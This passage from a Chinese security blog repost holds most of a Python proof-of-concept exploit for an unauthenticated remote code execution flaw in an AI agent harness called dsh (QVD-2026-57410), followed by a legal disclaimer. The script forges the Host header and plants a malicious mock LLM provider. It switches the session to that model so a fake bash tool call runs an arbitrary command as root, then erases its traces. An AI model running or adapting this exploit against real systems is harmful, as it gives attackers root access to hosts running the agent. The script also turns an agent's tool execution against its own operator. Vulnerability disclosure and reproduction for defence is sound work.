&nbsp; &nbsp;&nbsp;# 5) 切换到恶意模型&nbsp; &nbsp;&nbsp;print(f"[*] ⑤ 切换模型 →&nbsp;{provider}/{model}")&nbsp; &nbsp; h.rpc("session.selectModel", {"sessionId": sid,&nbsp;"provider": provider,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"model": model})
&nbsp; &nbsp;&nbsp;# 6) 下发指令 → mock LLM 返回 bash tool_call → harness 以 root 执行&nbsp; &nbsp;&nbsp;print("[*] ⑥ 下发指令 → 触发工具调用")&nbsp; &nbsp; h.rpc("session.prompt", {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"sessionId": sid,&nbsp;"mode":&nbsp;"queue",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"content": [{"type":&nbsp;"text",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"text":&nbsp;f'Run the bash command "{command}" and report the output.'}],&nbsp; &nbsp; })&nbsp; &nbsp;&nbsp;print("[*] 等待执行完成...")
&nbsp; &nbsp;&nbsp;# 7) 轮询历史取工具执行结果&nbsp; &nbsp;&nbsp;# &nbsp; &nbsp;history 条目结构: {event:{type,seq,time,data}, view?}&nbsp; &nbsp;&nbsp;# &nbsp; &nbsp;tool/result 的 event.data = {turn,step,message:{callId,content,isError},...}&nbsp; &nbsp; result =&nbsp;None&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(40):&nbsp; &nbsp; &nbsp; &nbsp; time.sleep(1)&nbsp; &nbsp; &nbsp; &nbsp; hist = h.rpc("session.history", {"sessionId": sid})&nbsp; &nbsp; &nbsp; &nbsp; items = hist.get("events", hist&nbsp;if&nbsp;isinstance(hist,&nbsp;list)&nbsp;else&nbsp;[])&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;it&nbsp;in&nbsp;items:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ev = it.get("event", {})&nbsp;if&nbsp;isinstance(it,&nbsp;dict)&nbsp;else&nbsp;{}&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;ev.get("type") !=&nbsp;"tool/result":&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = ev.get("data", {})&nbsp;or&nbsp;{}&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; msg = data.get("message", {})&nbsp;if&nbsp;isinstance(data,&nbsp;dict)&nbsp;else&nbsp;{}&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; txt = msg.get("content")&nbsp;if&nbsp;isinstance(msg,&nbsp;dict)&nbsp;else&nbsp;None&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;isinstance(txt, (list,&nbsp;dict)):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; txt = json.dumps(txt, ensure_ascii=False)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;txt:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;str(txt)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 检查回合是否结束&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;any(isinstance(it,&nbsp;dict)&nbsp;and&nbsp;it.get("event", {}).get("type") ==&nbsp;"turn/end"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;for&nbsp;it&nbsp;in&nbsp;items):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp;&nbsp;return&nbsp;sid, result, hist

def&nbsp;cleanup(h: Harness, provider, cred_ref, restore_preset, sid=None,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; restore_model_provider="deepseek-official",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; restore_model_model="deepseek-v4-flash"):&nbsp; &nbsp;&nbsp;"""复原环境: 还原权限预设与默认模型、移除 provider/凭证、删除本地会话目录。"""&nbsp; &nbsp;&nbsp;print("[*] 清理: 还原权限预设 →", restore_preset)&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; h.rpc("settings.mutate", {"ns":&nbsp;"permission",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"ops": [{"op":&nbsp;"set",&nbsp;"path": ["defaultPreset"],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"value": restore_preset}]})&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;!", e)&nbsp; &nbsp;&nbsp;print(f"[*] 清理: 还原默认模型 →&nbsp;{restore_model_provider}/{restore_model_model}")&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; h.rpc("settings.mutate", {"ns":&nbsp;"agent-default-model",&nbsp;"ops": [&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {"op":&nbsp;"set",&nbsp;"path": ["provider"],&nbsp;"value": restore_model_provider},&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {"op":&nbsp;"set",&nbsp;"path": ["model"],&nbsp;"value": restore_model_model},&nbsp; &nbsp; &nbsp; &nbsp; ]})&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;!", e)&nbsp; &nbsp;&nbsp;print("[*] 清理: 移除 provider:", provider)&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; h.rpc("settings.mutate", {"ns":&nbsp;"llm-pi-ai",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"ops": [{"op":&nbsp;"unset",&nbsp;"path": ["providers", provider]}]})&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;!", e)&nbsp; &nbsp;&nbsp;print("[*] 清理: 清除凭证:", cred_ref)&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; h.rpc("credentials.unset", {"ref": cred_ref})&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;!", e)&nbsp; &nbsp;&nbsp;if&nbsp;sid:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# RPC 面无 session.delete, 本地会话目录存在时直接删除&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;root_dir&nbsp;in&nbsp;(os.path.expanduser("~/.dsh/sessions"),&nbsp;"/root/.dsh/sessions"):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;os.path.isdir(root_dir):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;parent&nbsp;in&nbsp;os.listdir(root_dir):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d = os.path.join(root_dir, parent, sid)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;os.path.isdir(d):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] 清理: 删除会话目录", d)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;import&nbsp;shutil&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; shutil.rmtree(d, ignore_errors=True)

# --------------------------------------------------------------------------- #def&nbsp;wait_port(host, port, timeout=15):&nbsp; &nbsp; t0 = time.time()&nbsp; &nbsp;&nbsp;while&nbsp;time.time() - t0 < timeout:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;socket.create_connection((host, port),&nbsp;1):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;OSError:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(0.4)&nbsp; &nbsp;&nbsp;return&nbsp;False

def&nbsp;main():&nbsp; &nbsp; ap = argparse.ArgumentParser(description="QVD-2026-57410 dsh 未授权 RCE PoC")&nbsp; &nbsp; ap.add_argument("--target", default=DEFAULT_TARGET,&nbsp;help="dsh 控制平面地址 (默认 %(default)s)")&nbsp; &nbsp; ap.add_argument("--host-header", default=None,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help="伪造 Host 头 (默认取自 target; 目标非回环时必须回环伪冒)")&nbsp; &nbsp; ap.add_argument("--command", default="id",&nbsp;help="要执行的命令 (默认 id)")&nbsp; &nbsp; ap.add_argument("--provider", default=DEFAULT_PROVIDER)&nbsp; &nbsp; ap.add_argument("--model", default=DEFAULT_MODEL)&nbsp; &nbsp; ap.add_argument("--mock-port",&nbsp;type=int, default=DEFAULT_MOCK_PORT)&nbsp; &nbsp; ap.add_argument("--mock-base-url", default=None,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help="mock LLM 地址 (默认 http://127.0.0.1:<mock-port>/v1; 远程目标时填本机可达地址)")&nbsp; &nbsp; ap.add_argument("--restore-preset", default=DEFAULT_RESTORE_PRESET,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help="清理时还原的权限预设 (默认 workspace-write)")&nbsp; &nbsp; ap.add_argument("--restore-model", default="deepseek-official/deepseek-v4-flash",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help="清理时还原的默认模型 provider/model (默认 %(default)s)")&nbsp; &nbsp; ap.add_argument("--no-cleanup", action="store_true",&nbsp;help="保留现场 (不清理)")&nbsp; &nbsp; ap.add_argument("--start-dsh", action="store_true",&nbsp;help="本地自动拉起 dsh --profile web")&nbsp; &nbsp; args = ap.parse_args()
&nbsp; &nbsp; mock_base_url = args.mock_base_url&nbsp;or&nbsp;f"http://127.0.0.1:{args.mock_port}/v1"
&nbsp; &nbsp; mock = start_mock(args.command, args.mock_port)&nbsp; &nbsp;&nbsp;print(f"[+] mock LLM 已启动:&nbsp;{mock_base_url}")
&nbsp; &nbsp; dsh_proc =&nbsp;None&nbsp; &nbsp;&nbsp;if&nbsp;args.start_dsh:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] 启动 dsh --profile web ...")&nbsp; &nbsp; &nbsp; &nbsp; log =&nbsp;open("/tmp/dsh-rce-poc-dsh.log",&nbsp;"ab")&nbsp; &nbsp; &nbsp; &nbsp; dsh_proc = subprocess.Popen(["/usr/local/bin/dsh",&nbsp;"--profile",&nbsp;"web",&nbsp;"--no-open"],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stdout=log, stderr=log, stdin=subprocess.DEVNULL)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;wait_port("127.0.0.1",&nbsp;3080):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] dsh 启动超时, 检查 /tmp/dsh-rce-poc-dsh.log"); sys.exit(1)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] dsh 已就绪")
&nbsp; &nbsp; h = Harness(args.target, args.host_header)&nbsp; &nbsp; state = {}&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; sid, result, hist = exploit(h, args.command, args.provider, args.model,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DEFAULT_CRED_REF, mock_base_url,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; args.restore_preset, state)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;64)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;result&nbsp;is&nbsp;not&nbsp;None:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] 命令已执行 — 工具结果 (root 上下文):\n &nbsp; &nbsp;{result}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] 未捕获到 tool/result, 原始 history 尾部:")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(json.dumps(hist, ensure_ascii=False)[-1500:])&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;64)&nbsp; &nbsp;&nbsp;finally:&nbsp; &nbsp; &nbsp; &nbsp; mock.shutdown()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;args.no_cleanup:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; model_p, model_m = args.restore_model.split("/",&nbsp;1)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cleanup(h, args.provider, DEFAULT_CRED_REF, args.restore_preset,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; state.get("sid"), model_p, model_m)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 清理异常:", e)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;dsh_proc&nbsp;is&nbsp;not&nbsp;None:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dsh_proc.terminate()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dsh_proc.wait(timeout=5)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;subprocess.TimeoutExpired:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dsh_proc.kill()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] dsh 已停止")

if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:喵星安全研究所 喵星AI 喵星AI《DeepSeek Harness 未授权远程代码执行复现》

评论:0   参与:  0